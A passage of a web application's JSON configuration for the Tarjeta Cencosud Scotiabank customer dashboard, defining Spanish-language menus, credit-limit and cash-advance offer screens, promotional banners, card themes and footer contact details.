ahora","img_detail":null,"img_tooltip":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5614819069964119-6944717963229992-help.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5614819069964119-6944717963229992-help.svg"}},{"btn_target":"_self","btn_link":"https://www.mitarjetacencosud.cl/sae/tarjetas/{{idTarjeta}}/simulacion","amount_detail_mobile":"Pide tu Súper Avance","title":"Tienes un monto","subtitle":"Disponible","text_tooltip":null,"amount_detail":"Súper Avance","code":"SAE","amount_text":"$$amount","img_detail":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6951360396645561-03868425379584761-emoji_hand-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6951360396645561-03868425379584761-emoji_hand-1.svg"},"img_tooltip":null},{"btn_target":null,"btn_link":null,"amount_detail_mobile":null,"title":"Tienes <span>Aprobado</span> el traspaso a Tarjeta Black","subtitle":null,"text_tooltip":null,"amount_detail":null,"code":"TRASPASO","amount_text":null,"img_detail":null,"img_tooltip":null}]},"imagesPromotion":[{"show":true,"position":1,"code":"CELULARES_PARIS","url":"https://www.paris.cl/tecnologia/celulares/smartphone/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=smartphone","target":"_blank","imageDesktop":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/1464816038966701-9560393656595785-banner_tarjetacencosud_celulares_desktop.jpeg","imageMobile":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/15713057222067817-07000414733212357-banner_tarjetacencosud_celulares_mobile.jpeg"},{"show":true,"position":2,"code":"COMPUTACION_PARIS","url":"https://www.paris.cl/tecnologia/computadores/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=computacion","target":"_blank","imageDesktop":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3152297324016613-048113607291186744-banner_tarjetacencosud_computacion_desktop.jpeg","imageMobile":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/956946280468973-23369059094621547-banner_tarjetacencosud_computacion_mobile.jpeg"},{"show":true,"position":3,"code":"DORMITORIO_PARIS","url":"https://www.paris.cl/dormitorio/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=dormitorio","target":"_blank","imageDesktop":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4109679366132004-14347309083432291-banner_tarjetacencosud_dormitorio_desktop.jpeg","imageMobile":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6922051681742494-7602724839057322-banner_tarjetacencosud_dormitorio_mobile.jpeg"},{"show":true,"position":4,"code":"LB_PARIS","url":"https://www.paris.cl/linea-blanca/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=linea_blanca","target":"_blank","imageDesktop":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7465166447430605-4723084715185526-banner_tarjetacencosud_lb_desktop.jpeg","imageMobile":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2926883143486605-8735737689900791-banner_tarjetacencosud_lb_mobile.jpeg"},{"show":true,"position":5,"code":"SMARTV_PARIS","url":"https://www.paris.cl/electro/television/smart-tv/?utm_source=tcs&utm_medium=referral&utm_campaign=retail_financiero&utm_content=smart_tv","target":"_blank","imageDesktop":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3225571852538833-4732718695455991-banner_tarjetacencosud_smartv_desktop.jpeg","imageMobile":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/053106237876301865-47298671219141664-banner_tarjetacencosud_smartv_mobile.jpeg"}],"cardsServices":[{"otherServices":"serviceAvailable","btnTarget":"_self","btnType":"primary","body":null,"title":"Avance","imageLink":"","badgeText":null,"imageTarget":"_self","badgeGradient":"purple","btnText":"Pide tu avance","badgeShape":"rectangle","btnLink":"https://www.mitarjetacencosud.cl/ae/tarjetas/{{idTarjeta}}/simulacion","code":"AE","active":true,"typeBanner":true,"showBadge":false,"order":2,"image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6780479287803189-rectangle-459.png","titleLogo":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/052452455761430095-4016316300081415-logo_avance.svg","show":true},{"otherServices":"serviceAvailable","btnTarget":"_self","btnType":"primary","body":null,"title":null,"imageLink":null,"badgeText":null,"imageTarget":"_self","badgeGradient":"purple","btnText":"Pide tu Súper Avance","badgeShape":"rectangle","btnLink":"https://www.mitarjetacencosud.cl/sae/tarjetas/{{idTarjeta}}/simulacion","code":"SAE","active":true,"typeBanner":true,"showBadge":false,"order":1,"image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2421911629238176-rectangle-462.png","titleLogo":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/690376236744741-8995045456856703-logo_super_avance.svg","show":true},{"otherServices":"serviceAvailable","btnTarget":"_self","btnType":"primary","body":null,"title":"Aumento de Cupo","imageLink":null,"badgeText":null,"imageTarget":"_self","badgeGradient":"purple","btnText":"Solicita tu nuevo cupo","badgeShape":"rectangle","btnLink":null,"code":"AUMENTO_CUPO","active":true,"typeBanner":false,"showBadge":false,"order":4,"image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/2993214743718715-7051984182656252-dollar.svg","show":true},{"otherServices":"serviceAvailable","btnTarget":"_self","btnType":"primary","body":null,"title":"Del papel al email","imageLink":null,"badgeText":"","imageTarget":"_self","badgeGradient":"purple","btnText":"Suscríbete ahora","badgeShape":"rectangle","btnLink":"https://www.mitarjetacencosud.cl/mis-datos","code":"PAPEL_EMAIL","active":true,"typeBanner":false,"showBadge":false,"order":5,"image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9125077929487062-9069258675419622-computer.svg","show":true}]},"errorDataDashboard":false,"directusShareIncrease":{"title":"Aumento de cupo","icon_close_target":"_self","icon_close":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5067549826624826-8773939573944158-error-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5067549826624826-8773939573944158-error-2.svg"},"step_one":{"image_ameba_loading_target":"_self","image_loading_target":"_self","description_share":"Desliza para modificar el monto","subtitle":null,"symbol":"$","offer_share_increase":"Quiero un nuevo cupo de","detail_offer":"<p>Al presionar <strong>“Solicitar aumento”</strong> estás aceptando nuestros <span style=\"text-decoration: underline;\">Términos y Condiciones</span></p>","btn_primary_text":"Solicitar aumento","btn_primary_type":"primary","btn_secondary_text":"Cancelar","btn_secondary_type":"secondary","image_ameba_loading":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7585928542164537-9073507231078004-amebas_loading-2.png","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7585928542164537-9073507231078004-amebas_loading-2.png"},"image_loading":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/39173572235097787-logo_cencosud.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/39173572235097787-logo_cencosud.svg"},"detail_legal_drawer":{"title":"Términos y Condiciones","btn_text":"Descarga el documento","btn_type":"tertiary","btn_link":"https://www.mitarjetacencosud.cl/TarjetaMasWEB/html/plantillas_seguros/vida/Vida_plus_SAE.pdf","btn_target":"_blank","content_text":"<p>Oferta válida del 01 al 31 de Enero del 2022 sujeto a evaluación crediticia al momento de la solicitud. Oferta dirigida exclusivamente para el titular de Tarjeta Cencosud Scotiabank. El aumento de cupo se realizará y mantendrá siempre que el titular se encuentre al día con sus obligaciones con el Emisor y la cuenta no se encuentre bloqueada. El aumento de cupo solicitado no genera cobro de comisiones o cargo alguno.</p>","icon_back":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9149858269593965-889519680845378-chevron_left-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9149858269593965-889519680845378-chevron_left-1.svg"},"btn_icon":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7315326646885585-download.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7315326646885585-download.svg"}}},"step_two":{"title":"Aumento aprobado","detail":"¡Genial, tu aumento de cupo se vera reflejado en un máximo de 10 minutos!","voucher_detail":"<p>Ver el comprobante de mi aumento</p>","btn_primary_text":"Finalizar","btn_primary_type":"primary","footer_text":"Ya puedes cerrar esta ventana para continuar con tu compra","image_target":"_self","image":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/21643194162381585-15412851880302547-illustrations-3.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/21643194162381585-15412851880302547-illustrations-3.svg"},"voucher_drawer":{"title":"Comprobante de aumento","btn_primary_text":"Descargar comprobante","btn_primary_type":"primary","btn_secondary_text":"Finalizar","btn_secondary_type":"secondary","subtitle":"Aumento de cupo aprobado","new_share_text":"Nuevo cupo","symbol":"$","card_number_text":"Número de Tarjeta","date_text":"Fecha de solicitud","dot_card":"•","icon_back":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5352353145772559-chevron_left-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5352353145772559-chevron_left-1.svg"},"image":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9036162142365858-4559178674991331-03.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9036162142365858-4559178674991331-03.svg"}}},"step_other":[{"title":"Aumento no realizado","detail":"<p>Ocurrió un error al intentar realizar el aumento de tu cupo, por favor intenta nuevamente.</p>","btn_primary_text":"Reintentar","btn_primary_type":"primary","code":"RETRY","image_target":"_self","detail_footer":null,"image":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/030244811286141537-009721981326563434-robot-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/030244811286141537-009721981326563434-robot-2.svg"}},{"title":"¡Lo sentimos!","detail":"<p>En este momento no es posible realizar el aumento de tu cupo, por favor intenta en otro momento.</p>","btn_primary_text":"Cerrar","btn_primary_type":"primary","code":"ERROR","image_target":"_self","detail_footer":null,"image":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7044921976645022-31259300917454036-robot-1-.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7044921976645022-31259300917454036-robot-1-.svg"}},{"title":"¡Lo sentimos!","detail":"<p>Has superado el número máximo de intentos para la validación. Puedes volver a intentar más tarde.</p>","btn_primary_text":"Cerrar","btn_primary_type":"primary","code":"MAX_RETRY","image_target":"_self","detail_footer":"1","image":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/26746309876126984-8434873552090771-robot-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/26746309876126984-8434873552090771-robot-1.svg"}},{"title":"Aumento rechazado","detail":"<p>De acuerdo a la evaluación crediticia, no es posible realizar el aumento de tu cupo en estos momentos.</p>","btn_primary_text":"Finalizar","btn_primary_type":"primary","code":"REJECTED","image_target":"_self","detail_footer":"1","image":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7203013794075206-5118780454167566-illustrations-4.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7203013794075206-5118780454167566-illustrations-4.svg"}},{"title":"Aumento en proceso","detail":"<p>Tu solicitud de aumento de cupo se encuentra en proceso y puede tardar hasta 1 hora.</p>\n<p>Vuelve más tarde para revisar su estado.</p>","btn_primary_text":"Finalizar","btn_primary_type":"primary","code":"PENDING_OFFER","image_target":"_self","detail_footer":"Ya puedes cerrar esta ventana para continuar con tu compra","image":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8388067956121492-10508497894372182-illustrations-5.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8388067956121492-10508497894372182-illustrations-5.svg"}}],"minimum_offer_amount":50000,"interval_amount":10000,"channel":17,"is_max_default":true,"js_remote_component":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6756832688839565-offershareincrease-1.js","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6756832688839565-offershareincrease-1.js"},"css_remote_component":{"fullUrl":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7742222265609842-offershareincrease-1.css","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7742222265609842-offershareincrease-1.css"}},"errorShareIncrease":false,"directusMessage":{"client_text":"hola {clientText}","links_footer":[{"text_link":"Sucursales Abiertas","link":"https://www.mitarjetacencosud.cl/sucursales","target":"2","active":false,"show":true,"position":1,"id":1},{"text_link":"Mis beneficios","link":"https://www.tarjetacencosud.cl/publico/beneficios/landing/inicio","target":"2","active":false,"show":true,"position":2,"id":2},{"text_link":"Servicio al cliente","link":"https://www.tarjetacencosud.cl/publico/comun/landing/servicio-cliente","target":"2","active":false,"show":true,"position":3,"id":3},{"text_link":"Bloqueo de tarjeta","link":"https://www.mitarjetacencosud.cl/bloqueos/{{idCuenta}}","target":"2","active":false,"show":true,"position":4,"id":4}],"links_main_menu":[{"link_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/689554449383684-9366793582185402-home_dashboard.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/689554449383684-9366793582185402-home_dashboard.svg"},"link_text":"Inicio","submenu_icon":null,"link_url":null,"loading":false,"link_func":null,"link_height":null,"link_target":null,"active_link":true,"id":1,"show_link":true,"link_position":1,"link_submenu":[],"code":"INICIO","link_notification":false},{"link_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/26033554465315234-24461300447312317-movimientos_dashboard.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/26033554465315234-24461300447312317-movimientos_dashboard.svg"},"link_text":"Movimientos","submenu_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/20368239505608332-4394272414151712-flecha_dashboard.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/20368239505608332-4394272414151712-flecha_dashboard.svg"},"link_url":null,"loading":false,"link_func":null,"link_height":"47","link_target":null,"active_link":false,"id":2,"show_link":true,"link_position":2,"link_submenu":[{"link_url":"https://www.mitarjetacencosud.cl/movimientos/facturados/{{idCuenta}}","badge_text":null,"link_func":"","link_target":"2","active_link":false,"show_link":true,"id":15,"link_position":1,"loading":false,"link_text":"Facturados","badge":false,"code":"MESES_ANTERIORES"},{"link_url":"https://www.mitarjetacencosud.cl/movimientos/tarjetas/{{idTarjeta}}","badge_text":null,"link_func":null,"link_target":"2","active_link":false,"show_link":true,"id":16,"link_position":2,"loading":false,"link_text":"Últimos movimientos","badge":false,"code":"ULTIMOS_MOVIMIENTOS"},{"link_url":"https://www.mitarjetacencosud.cl/movimientos/proximas-cuotas/{{idCuenta}}","badge_text":null,"link_func":null,"link_target":"2","active_link":false,"show_link":false,"id":17,"link_position":3,"loading":false,"link_text":"Próximas cuotas","badge":false,"code":"PROXIMAS_CUOTAS"},{"link_url":"https://www.mitarjetacencosud.cl/pagos/privado/historial-pago","badge_text":null,"link_func":null,"link_target":"2","active_link":false,"show_link":true,"id":18,"link_position":4,"loading":false,"link_text":"Seguimiento de pagos","badge":false,"code":"SEGUIMIENTO_PAGOS"}],"code":"MOVIMIENTOS","link_notification":false},{"link_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7470264842027148-837281519319788-reordena_dashboard.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7470264842027148-837281519319788-reordena_dashboard.svg"},"link_text":"Reordenar mi deuda","submenu_icon":null,"link_url":"https://www.mitarjetacencosud.cl/TarjetaMasWEB/simuladorRepactacion.do?method=plancuota&pos=rbtn1","loading":true,"link_func":null,"link_height":null,"link_target":null,"active_link":false,"id":3,"show_link":false,"link_position":3,"link_submenu":[],"code":"REORDENAR","link_notification":true},{"link_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/887104507947178-5388074632707327-credito_consumo_dashboard.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/887104507947178-5388074632707327-credito_consumo_dashboard.svg"},"link_text":"Pagar Crédito Consumo","submenu_icon":null,"link_url":"https://www.mitarjetacencosud.cl/pagos/cc/privado/creditos/cuota","loading":true,"link_func":null,"link_height":null,"link_target":null,"active_link":false,"id":4,"show_link":true,"link_position":4,"link_submenu":[],"code":"PAGARCC","link_notification":true},{"link_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7437229460281571-22771785216179086-pagar_cuenta_dashboard.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7437229460281571-22771785216179086-pagar_cuenta_dashboard.svg"},"link_text":"Pagar mi cuenta","submenu_icon":null,"link_url":"https://www.mitarjetacencosud.cl/pagos/eecc/privado/tarjetas/{{idTarjeta}}","loading":false,"link_func":null,"link_height":null,"link_target":null,"active_link":false,"id":5,"show_link":true,"link_position":5,"link_submenu":[],"code":"PAGAR_CUENTA","link_notification":false},{"link_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/42302408741846476-55496453273986-avance_dashboard.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/42302408741846476-55496453273986-avance_dashboard.svg"},"link_text":"Avance","submenu_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/44072764432867806-4394272414151712-flecha_dashboard-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/44072764432867806-4394272414151712-flecha_dashboard-1.svg"},"link_url":null,"loading":false,"link_func":null,"link_height":"47","link_target":null,"active_link":false,"id":7,"show_link":true,"link_position":7,"link_submenu":[{"link_url":"https://www.mitarjetacencosud.cl/avances/mis-avances","badge_text":"","link_func":null,"link_target":"2","active_link":false,"show_link":true,"id":19,"link_position":1,"loading":false,"link_text":"Mis Avances","badge":false,"code":"MIS_AVANCES"},{"link_url":"https://www.mitarjetacencosud.cl/ae/tarjetas/{{idTarjeta}}/simulacion","badge_text":null,"link_func":null,"link_target":"2","active_link":false,"show_link":true,"id":20,"link_position":2,"loading":true,"link_text":"Simular Avance","badge":false,"code":"SIMULAR_AVANCE"},{"link_url":"https://www.tarjetacencosud.cl/publico/producto/avance/landing/caracteristicas","badge_text":null,"link_func":null,"link_target":"2","active_link":false,"show_link":true,"id":21,"link_position":3,"loading":false,"link_text":"Más información","badge":false,"code":"MAS_INFORMACION_AE"}],"code":"AVANCE","link_notification":false},{"link_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/811698948743202-5289884072671558-super_avance_dashboard.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/811698948743202-5289884072671558-super_avance_dashboard.svg"},"link_text":"Súper Avance","submenu_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7177072935188475-4394272414151712-flecha_dashboard-1-.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7177072935188475-4394272414151712-flecha_dashboard-1-.svg"},"link_url":null,"loading":false,"link_func":null,"link_height":"47","link_target":null,"active_link":false,"id":8,"show_link":true,"link_position":8,"link_submenu":[{"link_url":"https://www.mitarjetacencosud.cl/avances/mis-super-avances","badge_text":"","link_func":null,"link_target":"2","active_link":false,"show_link":true,"id":22,"link_position":1,"loading":false,"link_text":"Mis Súper Avances","badge":false,"code":"MIS_SUPER_AVANCES"},{"link_url":"https://www.mitarjetacencosud.cl/sae/tarjetas/{{idTarjeta}}/simulacion","badge_text":null,"link_func":null,"link_target":"2","active_link":false,"show_link":true,"id":23,"link_position":2,"loading":true,"link_text":"Simular Súper Avance","badge":false,"code":"SIMULAR_SUPER_AVANCE"},{"link_url":"https://www.tarjetacencosud.cl/publico/comun/preguntas-frecuentes/landing/tarjeta-cencosud-scotiabank","badge_text":null,"link_func":null,"link_target":"2","active_link":false,"show_link":true,"id":24,"link_position":3,"loading":false,"link_text":"Preguntas frecuentes","badge":false,"code":"PREGUNTAS_FRECUENTES"},{"link_url":"https://www.tarjetacencosud.cl/publico/producto/super-avance/landing/caracteristicas","badge_text":null,"link_func":null,"link_target":"2","active_link":false,"show_link":true,"id":25,"link_position":4,"loading":false,"link_text":"Más información","badge":false,"code":"MAS_INFORMACION_SAE"}],"code":"SAVANCE","link_notification":false}],"logo":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7282941918162726-6639114718660257-logo-dashboard-white.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7282941918162726-6639114718660257-logo-dashboard-white.svg"},"header":{"welcome_text":"¡Hola","icon_menu_mobile":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5202082112636268-hamburger-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5202082112636268-hamburger-1.svg"},"logo":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/39173572235097787-logo_cencosud.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/39173572235097787-logo_cencosud.svg"},"go_to_url_logo":"https://www.tarjetacencosud.cl/publico/home","show_old_link":false,"text_link_old":"Volver al sitio anterior","link_old":"https://www.mitarjetacencosud.cl/TarjetaMasWEB/redirectP.do?donde=inicioPrivado","target_link_old":"_self","points_logo":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3635038435908313-23907030147023867-puntos_cencosud.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3635038435908313-23907030147023867-puntos_cencosud.svg"},"points_title":"Puntos Cencosud","points_text":"Tienes","points_go_to_url_active":true,"points_go_to_url":"https://www.puntoscencosud.cl/puntos/","points_target":"_blank","icons_list":[{"show":true,"code":"PROFILE_USER","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/36579668098597606-2610938745442628-9135745473407257-user-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/36579668098597606-2610938745442628-9135745473407257-user-2.svg"},"icon_mobile":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7350941299802258-6152294381801937-47908700358114253-user-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7350941299802258-6152294381801937-47908700358114253-user-1.svg"},"active":false,"position":1,"notification":false,"theme_notification":null,"number_notification":null,"go_to_url_icon":null,"target_url_icon":null,"is_loading_icon":false},{"show":true,"code":"DIGITAL_CARD","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9098483851350985-18101081669072694-35680117297582203-pagar_cuenta-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9098483851350985-18101081669072694-35680117297582203-pagar_cuenta-1.svg"},"icon_mobile":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7206273952655318-07671574973997553-20540100712194898-pagar_cuenta.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7206273952655318-07671574973997553-20540100712194898-pagar_cuenta.svg"},"active":false,"position":2,"notification":false,"theme_notification":null,"number_notification":null,"go_to_url_icon":"https://www.mitarjetacencosud.cl/tarjetas/digital","target_url_icon":"_self","is_loading_icon":false},{"show":true,"code":"NOTIFICATIONS","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5396102297962597-9281268684308861-9148016875319249-star.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5396102297962597-9281268684308861-9148016875319249-star.svg"},"icon_mobile":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/50593350368843-6918515222931501-6141454381284799-star.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/50593350368843-6918515222931501-6141454381284799-star.svg"},"active":false,"position":3,"notification":false,"theme_notification":"default","number_notification":0,"go_to_url_icon":null,"target_url_icon":null,"is_loading_icon":false}],"options_user_list":[{"show":true,"code":"MIS_DATOS","text_option":"Mis datos","position":1,"active":false,"go_to_url_option":"https://www.mitarjetacencosud.cl/mis-datos","target_url_option":"_self"},{"show":true,"code":"BLOQUEO_TARJETA","text_option":"Bloquear mi Tarjeta","position":2,"active":false,"go_to_url_option":"https://www.mitarjetacencosud.cl/TarjetaMasWEB/solicitarBloqueo.do","target_url_option":"_self"},{"show":true,"code":"CLAVE_WEB","text_option":"Cambiar clave web","position":3,"active":false,"go_to_url_option":"https://www.mitarjetacencosud.cl/claves/web/cambio","target_url_option":"_self"},{"show":true,"code":"CERRAR_SESION","text_option":"Cerrar sesión","position":4,"active":false,"go_to_url_option":null,"target_url_option":null}],"text_select_option_mobile":"Selecciona una opción"},"footer":{"legal":"<p>Infórmese sobre las entidades autorizadas para emitir Tarjetas de Pago en el país,<br />quienes se encuentran inscritas en los Registros de Emisores de Tarjetas que lleva la CMF, en <a href=\"https://www.cmfchile.cl/\" target=\"_blank\" rel=\"noopener\">https://www.cmfchile.cl</a></p>\n<p>© Cencosud Scotiabank 2022. Todos los derechos reservados.</p>","text_social_network":"Síguenos","text_emergency":"Emergencias de Tarjeta de Crédito","phone_emergency":"800 374 500","text_customer":"Servicio al cliente","phone_customer":"600 450 5000","text_sales":"Ventas","phone_sales":"800 450 6600","social_network":[{"order":"1","link":"https://www.facebook.com/TarjetaCencosudScotiabank","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6254483421435535-2820004834732899-6946275972716185-facebook-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6254483421435535-2820004834732899-6946275972716185-facebook-2.svg"}},{"order":"2","link":"https://www.youtube.com/c/TarjetaCencosudScotiabank","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/05272919162655887-5106614781003986-9109148030476721-youtube-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/05272919162655887-5106614781003986-9109148030476721-youtube-1.svg"}},{"order":"3","link":"https://twitter.com/TCencosudScotia","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8559069535368939-12283231776143233-12259633188015262-twitter-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8559069535368939-12283231776143233-12259633188015262-twitter-1.svg"}},{"order":"4","link":"https://goo.gl/sLXHzW","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/030332008174822622-2706547189820747-1387712632680882-whatsapp-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/030332008174822622-2706547189820747-1387712632680882-whatsapp-1.svg"}}]},"dot_number_card":"●","credit_cards":[{"card":"Black","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7900524894718024-07992736935445754-4602328826950479-black-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7900524894718024-07992736935445754-4602328826950479-black-1.svg"},"type":"Tarjeta Mastercard","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/27801700797983897-16403886691116032-tarjeta-black-sin-contenido-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/27801700797983897-16403886691116032-tarjeta-black-sin-contenido-1.svg"},"show_venc_card":true,"arrow":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/22425731292550055-49910344097821624-chevron_bottom_black-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/22425731292550055-49910344097821624-chevron_bottom_black-2.svg"},"show_number_card":true,"order":1,"show_name_card":true,"id":10,"color_venc_card":"#FFF","color_number_card":"#FFF","theme":"black","color_name_card":"#FFF","id_logo":516,"code_logo":"516","open_card":true},{"card":"Platinum","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5072259225221909-9070530360657447-16921518917745448-platinum-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5072259225221909-9070530360657447-16921518917745448-platinum-1.svg"},"type":"Tarjeta Mastercard","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/1485414030877512-7316383242628397-tarjeta-platinum-sin-contenido-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/1485414030877512-7316383242628397-tarjeta-platinum-sin-contenido-2.svg"},"show_venc_card":true,"arrow":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/22425731292550055-49910344097821624-chevron_bottom_black-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/22425731292550055-49910344097821624-chevron_bottom_black-2.svg"},"show_number_card":true,"order":2,"show_name_card":true,"id":11,"color_venc_card":"#FFF","color_number_card":"#FFF","theme":"platinum","color_name_card":"#FFF","id_logo":506,"code_logo":"506","open_card":true},{"card":"Mastercard","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7349990214467961-15302349691185957-6249695103869664-cencosud-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7349990214467961-15302349691185957-6249695103869664-cencosud-1.svg"},"type":"Tarjeta Mastercard","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6650534810735422-6465093191842128-tarjeta-cenco-sin-contenido-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6650534810735422-6465093191842128-tarjeta-cenco-sin-contenido-1.svg"},"show_venc_card":true,"arrow":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg"},"show_number_card":true,"order":3,"show_name_card":true,"id":12,"color_venc_card":"#FFF","color_number_card":"#FFF","theme":"default","color_name_card":"#FFF","id_logo":502,"code_logo":"502","open_card":true},{"card":"Visa","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cen